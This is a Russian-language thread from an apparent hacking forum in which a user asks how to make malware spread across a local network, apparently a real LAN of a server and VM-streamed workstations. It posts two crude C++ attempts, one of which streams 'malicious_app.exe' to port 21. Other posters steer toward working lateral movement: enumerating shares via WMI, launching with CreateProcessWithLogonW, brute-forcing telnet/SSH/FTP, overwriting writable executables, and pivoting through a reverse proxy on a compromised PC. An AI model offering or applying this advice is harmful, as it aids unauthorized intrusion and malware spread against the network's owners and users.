• XSS.stack #1 – первый литературный журнал от юзеров форума

Чуток непоняток про распространение

kotoharu

RAM
Пользователь
Регистрация
21.01.2023
Сообщения
122
Решения
1
Реакции
11
Не понимаю как в коде прописать распространение по локальной сети, додумался только до такой шняги
C++:
void spreadInLocalNetwork() {
    // Создание сокета
    WSADATA wsaData;
    SOCKET sock;
    SOCKADDR_IN serverAddr;
    WSAStartup(MAKEWORD(2, 0), &wsaData);
    sock = socket(AF_INET, SOCK_DGRAM, 0);

    serverAddr.sin_family = AF_INET;
    serverAddr.sin_addr.s_addr = INADDR_ANY;
    serverAddr.sin_port = htons(PORT);

    // Посылка данных по локальной сети
    sendto(sock, "Spread virus", sizeof("Spread virus"), 0, (SOCKADDR*)&serverAddr, sizeof(serverAddr));
}
Есть какие нибудь идеи? А то тут какая-то котовасия выходит мне чета не очень нравиться
 
Пожалуйста, обратите внимание, что пользователь заблокирован
плохо думал. Ты отправляешь udp пакет себе же. Зачем?
смотри в сторону перечисления сетевых шар.
как запустить своё чудо не скажу. Скорее всего надо смотреть в сторону WMI или CreateProcessWithLogonW
 
плохо думал. Ты отправляешь udp пакет себе же. Зачем?
смотри в сторону перечисления сетевых шар.
как запустить своё чудо не скажу. Скорее всего надо смотреть в сторону WMI или CreateProcessWithLogonW
C++:
void spreadInLocalNetwork() {
    WSADATA wsaData;
    SOCKET s;
    struct sockaddr_in sin;
   
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) {
        return;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(21); // Порт FTP
    sin.sin_addr.s_addr = inet_addr("192.168.1.255"); // Широковещательный адрес в локальной сети

    connect(s, (struct sockaddr*)&sin, sizeof(sin));

    std::ifstream file("malicious_app.exe", std::ios::binary);
    if (!file.is_open()) {
        closesocket(s);
        return;
    }

    // Отправляем файл по FTP
    char buffer[1024];
    while (!file.eof()) {
        file.read(buffer, sizeof(buffer));
        send(s, buffer, file.gcount(), 0);
    }

    file.close();
    closesocket(s);
    WSACleanup();
}
А вот так нормас? Это под фтп
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А вот так нормас? Это под фтп
само собой не нормас.
Во-первых, ты уверен, что в той локальной сети будут фтп подняты? Я вот лично не знаю ни одного человека (не айтишника), у которого дома на компе поднят фтп...
Во-вторых, даже если ты попал на хост, где поднят этот фтп, то ты установил коннект и на фтпшный порт залил говна)) FTP это четко определённый в RFC959 протокол. На него нельзя просто взять и скинуть говна и типа всё должно работать.
В-третих, с чего ты взял, что в локальной сети будут подняты какие-то сервисы?
В-четвёртых, хотя бы результат коннекта проверяй))))
 
C++:
void spreadInLocalNetwork() {
    WSADATA wsaData;
    SOCKET s;
    struct sockaddr_in sin;
  
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) {
        return;
    }

    sin.sin_family = AF_INET;
    sin.sin_port = htons(21); // Порт FTP
    sin.sin_addr.s_addr = inet_addr("192.168.1.255"); // Широковещательный адрес в локальной сети

    connect(s, (struct sockaddr*)&sin, sizeof(sin));

    std::ifstream file("malicious_app.exe", std::ios::binary);
    if (!file.is_open()) {
        closesocket(s);
        return;
    }

    // Отправляем файл по FTP
    char buffer[1024];
    while (!file.eof()) {
        file.read(buffer, sizeof(buffer));
        send(s, buffer, file.gcount(), 0);
    }

    file.close();
    closesocket(s);
    WSACleanup();
}
А вот так нормас? Это под фтп
Так если у чела нету фтп сервера или там пароль то как отправишь файл? Можешь в принципе сканить порты и пытаться брутить телнет, ссш, фтп и там уже что-то делать.


Ну и через wmi шары искать и туда заливать или заменять ехе если есть доступ на запись
 
само собой не нормас.
Во-первых, ты уверен, что в той локальной сети будут фтп подняты? Я вот лично не знаю ни одного человека (не айтишника), у которого дома на компе поднят фтп...
Во-вторых, даже если ты попал на хост, где поднят этот фтп, то ты установил коннект и на фтпшный порт залил говна)) FTP это четко определённый в RFC959 протокол. На него нельзя просто взять и скинуть говна и типа всё должно работать.
В-третих, с чего ты взял, что в локальной сети будут подняты какие-то сервисы?
В-четвёртых, хотя бы результат коннекта проверяй))))
Фтп был просто в пример, а так эта локальная сеть состоит из сервера и компов на которые транслируется виртуальная машина, думаешь они везде закрывают порты?
 
Фтп был просто в пример, а так эта локальная сеть состоит из сервера и компов на которые транслируется виртуальная машина, думаешь они везде закрывают порты?
В локалке нет кнш, если есть открытый порт то можно брутить.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Фтп был просто в пример, а так эта локальная сеть состоит из сервера и компов на которые транслируется виртуальная машина, думаешь они везде закрывают порты?
ну так а чего ты раньше не сказал, что в сети должны быть сервисы)))

Вообще в твоём случае игра скорее всего не стоит свеч.
Может есть смысл просто закрепиться на одном пк, поднять на нем реверс прокси и со своими тулзами в сеть лезть уже? Это куда удобнее будет и софт не так сложно написать.
Да и размахнуться можно будет поболее. Но это само собой не прокатит, если на компе нет инета)
 
Ты всерьёз считаешь, что достаточно в сокет кинуть какой-то текст или файл и тут же на удалённой тачке запустится нужный код? Это не так работает. Всё "немного" сложнее.
 
ну так а чего ты раньше не сказал, что в сети должны быть сервисы)))

Вообще в твоём случае игра скорее всего не стоит свеч.
Может есть смысл просто закрепиться на одном пк, поднять на нем реверс прокси и со своими тулзами в сеть лезть уже? Это куда удобнее будет и софт не так сложно написать.
Да и размахнуться можно будет поболее. Но это само собой не прокатит, если на компе нет инета)
Понял, спасибо
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх